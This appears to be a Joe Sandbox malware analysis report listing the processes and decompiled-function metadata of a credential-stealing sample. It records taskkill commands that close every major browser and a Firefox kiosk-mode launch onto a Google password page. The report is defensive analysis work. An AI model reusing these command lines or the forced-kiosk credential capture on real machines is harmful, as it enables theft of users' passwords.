0000000C.00000003.4040515221.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4105918796.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4107712264.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4111342203.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4109866437.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4067193051.00000000014CF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4008262593.00000000014D9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4112142395.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4064950579.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4096727347.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4110717216.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4110446428.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000003.4101563344.00000000014DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	14:07:49
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010362001\4feecdc349.exe"
Imagebase:	0x940000
File size:	922'624 bytes
MD5 hash:	0C37B6B31773E922A0C8521A372FB1EA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	14:07:49
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:07:49
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:07:51
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:07:51
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:07:52
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	14:07:52
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	14:07:52
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	14:07:52
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	14:07:52
Start date:	29/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x30000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	14:07:52
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	14:07:52
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	14:07:53
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	14:07:53
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	14:07:54
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2324 -parentBuildID 20230927232528 -prefsHandle 2260 -prefMapHandle 2248 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2fdc1535-834e-456f-8820-947ad461aee9} 1896 "\\.\pipe\gecko-crash-server-pipe.1896" 2539256dd10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	14:07:54
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010361001\95716ab34b.exe"
Imagebase:	0xb20000
File size:	1'789'952 bytes
MD5 hash:	1038F723C2FCA19F38FABBED2E099DBA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000003.4046194652.00000000054E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.4126851506.000000000175B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.4117545472.0000000000B21000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	14:07:59
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1010363001\d764c66987.exe"
Imagebase:	0xf80000
File size:	2'799'616 bytes
MD5 hash:	B339132A89D00BAEB7CA4080AF49E1E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	14:08:00
Start date:	29/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x3e0000
File size:	1'884'160 bytes
MD5 hash:	7DE3C1AE47C4A3711EB3819636D97A85
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	14:08:02
Start date:	29/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3296 -parentBuildID 20230927232528 -prefsHandle 1580 -prefMapHandle 1576 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {338e53b0-0dd8-49bc-a6da-9edcd3c6935e} 1896 "\\.\pipe\gecko-crash-server-pipe.1896" 253a456eb10 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 05200D04 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720529973.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9b1c52cae6609fa5f78060b0bc55bd33bccd9af1e22d9345c851f2deb59666b
Instruction ID: 4642c2b2b521a8080f31090ece7c9b3ac74cf5ae43e3b44274b464dc0f3d388f
Opcode Fuzzy Hash: d9b1c52cae6609fa5f78060b0bc55bd33bccd9af1e22d9345c851f2deb59666b
Instruction Fuzzy Hash: 23F0DAAF13F112EE7340C5556648B7A235AEE997203F0A866F407C6083D69869479630

Function 05200DD0 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

kXPR, xrefs: 05200D9C

Memory Dump Source

Source File: 00000000.00000002.1720529973.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID: kXPR
API String ID: 0-2417147290
Opcode ID: 62a1bdb166bc59997af97511fa71ac3776fdf4dbdc98192bde5c78eeaf467601
Instruction ID: 24bbd6d817dc1e54a99d07c1e1cf77621ad24b6780c825ed0d9bf73c863162d6
Opcode Fuzzy Hash: 62a1bdb166bc59997af97511fa71ac3776fdf4dbdc98192bde5c78eeaf467601
Instruction Fuzzy Hash: 17E0865F53F1118D7341D491654DBFA2716FD945303F17857E446C5083E18DA987C670

Function 05200D92 Relevance: 1.3, Strings: 1, Instructions: 24COMMON

Download Yara Rule

Strings

kXPR, xrefs: 05200D9C

Memory Dump Source

Source File: 00000000.00000002.1720529973.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID: kXPR
API String ID: 0-2417147290
Opcode ID: b958b8eec2456c4ceb000becc6d21ce447e340013759aef4b3ae33222530ad11
Instruction ID: 2d3c7e9583fd2c27ba5ab70d76bb000034df52dd8d90eca042f786b81d7585fb
Opcode Fuzzy Hash: b958b8eec2456c4ceb000becc6d21ce447e340013759aef4b3ae33222530ad11
Instruction Fuzzy Hash: 1CD05B5F53F011DE7340D452654DB79374AFDD4A303F19817E442C5083A589D58781B0

Function 05200D0B Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720529973.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b8547b6d8a00707fb0fd7e9a02b26575dddf99ee8f9c7f824171e82b51613bf
Instruction ID: 9fbfd83e15b514bf20c11425705fd85e1eb62e061cea2d275f21e03d99490680
Opcode Fuzzy Hash: 6b8547b6d8a00707fb0fd7e9a02b26575dddf99ee8f9c7f824171e82b51613bf
Instruction Fuzzy Hash: 85F0F66B03F151FEB341C5556A08B7B276EEE997203F0E867F446C6083D29879438330

Function 05200D66 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720529973.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9da06d5d9eba164591b7bf901ea7b0ba39baebc667452f3a0e152c2c4325d51
Instruction ID: 75d7b1c4d93b976a8cf9e23ead22f1a242fbb7f284038424a6f03774ff4027c3
Opcode Fuzzy Hash: c9da06d5d9eba164591b7bf901ea7b0ba39baebc667452f3a0e152c2c4325d51
Instruction Fuzzy Hash: 95F059AA13F581DEF740C110265CB79279AEF9A3303F066A7E042CA0D3D58964C7C331

Function 05200D2A Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720529973.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b130294efd4b22a40eaea77ac327f0c448f8d981fcc0fe59d0073e4fffd5f255
Instruction ID: aeaa8cca6a26f58f3534691ef67347c69e43be5da23c1f622106f008bb179cfc
Opcode Fuzzy Hash: b130294efd4b22a40eaea77ac327f0c448f8d981fcc0fe59d0073e4fffd5f255
Instruction Fuzzy Hash: 9AF030AF03F511EE7340C1952A0CB7A635EEED97303F0A867F447D6087D69869879634

Function 05200D52 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720529973.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c0c9eac76e0408aac92e6cc4d6c5c8424f844e7a8043108e26b94d0363b9d30
Instruction ID: 912e15784a55752a50211f1c1010c5ead5c24c1a535f260d80a7c93719da8c91
Opcode Fuzzy Hash: 8c0c9eac76e0408aac92e6cc4d6c5c8424f844e7a8043108e26b94d0363b9d30
Instruction Fuzzy Hash: 30E01AAF43F152EEB381C541361DB7A235AED987203F0A827F40AC6083D69864878230

Function 05200DA7 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720529973.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 809db2980c577ad847e47bb4d0f691ad6d6c5886e19ad6b0964c89ecf1a0d9c6
Instruction ID: 48d101470f329e304b73a7b19cf91f9b8f431f339385b8bcfdcee62c37046b5e
Opcode Fuzzy Hash: 809db2980c577ad847e47bb4d0f691ad6d6c5886e19ad6b0964c89ecf1a0d9c6
Instruction Fuzzy Hash: CFD0A71F13F0119DF340E0413A0DBBA3319EF847217E06413F002850C395C861474530

Function 05200DB6 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720529973.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec0a06db16f3f5c44c422857c1da81f75d60fefe182945e3349e630c60f7f829
Instruction ID: fc6205d5a54dc80fd707adf2b49ee30a0a8c7b878f617cc820c001091225bca3
Opcode Fuzzy Hash: ec0a06db16f3f5c44c422857c1da81f75d60fefe182945e3349e630c60f7f829
Instruction Fuzzy Hash: 17D0A75B13E004DEE340E465251C7BA339EED547203E06493E041D6482C5595087C334

Non-executed Functions

Function 052003FC Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1720529973.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3117d4e942a9f9c604bbaa9aefc24a50a701cb23b2786a9dd42690083c6abe2
Instruction ID: e558a052b344655fe568a8de75d1c654b3eebee6a9c38ebe5b44948b096dc26a
Opcode Fuzzy Hash: c3117d4e942a9f9c604bbaa9aefc24a50a701cb23b2786a9dd42690083c6abe2
Instruction Fuzzy Hash: F3F028EB12E1A07CB242C1813A8EBF75F6ED9C3271370D86BF442D4483D1C90A0A9135

Analysis Process: skotes.exePID: 6100, Parent PID: 6820COMMON

Execution Graph

Execution Coverage:	9.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.6%
Total number of Nodes:	581
Total number of Limit Nodes:	3

Executed Functions

Function 003EBE30 Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 003EBEB8
InternetOpenW.WININET(00438DC8,00000000,00000000,00000000,00000000), ref: 003EBEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 003EBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 003EBF36
HttpSendRequestA.WININET(?,00000000), ref: 003EBFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 003EC0A7
InternetCloseHandle.WININET(?), ref: 003EC187
InternetCloseHandle.WININET(?), ref: 003EC18F
InternetCloseHandle.WININET(?), ref: 003EC197

Strings

invalid stoi argument, xrefs: 003EE4F4
RE1NXF==, xrefs: 003EBF0E
8HJUeMD Lq5=, xrefs: 003EC465
stoi argument out of range, xrefs: 003EE4EA
0+, xrefs: 003EBFAA, 003EBFCE
RmNn, xrefs: 003ED606
8HJUeIfzLo==, xrefs: 003EC3CB, 003EC623

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 0+$8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-945094451
Opcode ID: f51caadbda47289c2df868a628af26e9766c5961e52dbbc8ff53b2d035cfad7e
Instruction ID: 6d0ba910e67eaa995b4cb9a30b2d76d4f5fe98c5015b989953abfe39edd361eb
Opcode Fuzzy Hash: f51caadbda47289c2df868a628af26e9766c5961e52dbbc8ff53b2d035cfad7e
Instruction Fuzzy Hash: F7B116B1A201689BDF29CF29CC84BEEBB79EF41304F504699F508972D1DB749AC1CB94

Function 003E65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 003E6680

Strings

GSTmfV==, xrefs: 003E6728
RySfdMLx, xrefs: 003E669C
ISNmfV==, xrefs: 003E67D1

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: dcc97b825e1d313d51e2a213a16b85c246c5926d1c2c3a661a8413677ad2e3d9
Instruction ID: 4e3bb171f8bb440de498e429f56fefc5afdec010bafbaf191247ddd8979e8335
Opcode Fuzzy Hash: dcc97b825e1d313d51e2a213a16b85c246c5926d1c2c3a661a8413677ad2e3d9
Instruction Fuzzy Hash: 8B91D5B190016C9BDB29DF24CC86BEDB779EB45304F5046E9E50997282DB319BC4CFA4

Function 003F47B0 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2516COMMON

Download Yara Rule

Strings

WGS0, xrefs: 003F5533
VXQ0, xrefs: 003F550A
jS=, xrefs: 003F6513, 003F67E2
(-, xrefs: 003F4B25, 003F6541, 003F6558, 003F659A, 003F65A4, 003F6810, 003F6827, 003F6869, 003F6873
Fw==, xrefs: 003F4E1D
stoi argument out of range, xrefs: 003F4F9C
Vmc0, xrefs: 003F55D7
2I0, xrefs: 003F5627
MGI+, xrefs: 003F48AD, 003F49DC, 003F4BCC, 003F4CFB
9HQ0, xrefs: 003F54E1
GE0, xrefs: 003F5585
8WI0, xrefs: 003F5692
246122658369, xrefs: 003F502A, 003F503D, 003F507F, 003F5089, 003F5684
VXA0, xrefs: 003F55AE
MGE+, xrefs: 003F4866, 003F48DD, 003F4B85, 003F4BFC
anE0, xrefs: 003F566B
aWW0, xrefs: 003F555C
9c9aa5, xrefs: 003F5619
93E0, xrefs: 003F5600
KCWUOl==, xrefs: 003F5649
3I3eB==, xrefs: 003F4802
9250, xrefs: 003F54AD

Memory Dump Source

Source File: 00000001.00000002.4117528235.00000000003E1000.00000040.00000001.01000000.00000007.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000001.00000002.4117428759.00000000003E0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4117528235.0000000000442000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118147977.0000000000449000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.000000000044B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000005CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006A8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4118336267.00000000006EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4121781123.00000000006EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124466375.0000000000888000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.4124616604.000000000088A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3e0000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleep
String ID: 2I0$ 3I3eB==$ GE0$ jS=$(-$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 3516211189-960520192
Opcode ID: 6fd4e8dfc5df3c5fbbbaa808a9f851b02e8b9725f1c803f073bc392e591a1b62
Instruction ID: 9c241a4f6169afef89e18571bd8ce0f4c30a614afa4ee7f0cfedef962c7b5f6d
Opcode Fuzzy Hash: 6fd4e8dfc5df3c5fbbbaa808a9f851b02e8b9725f1c803f073bc392e591a1b62
Instruction Fuzzy Hash: F6234470A1025C8BEB1ADB28CD897ADBB769F81304F5482D8E149AB2D2DB355FC4CF51

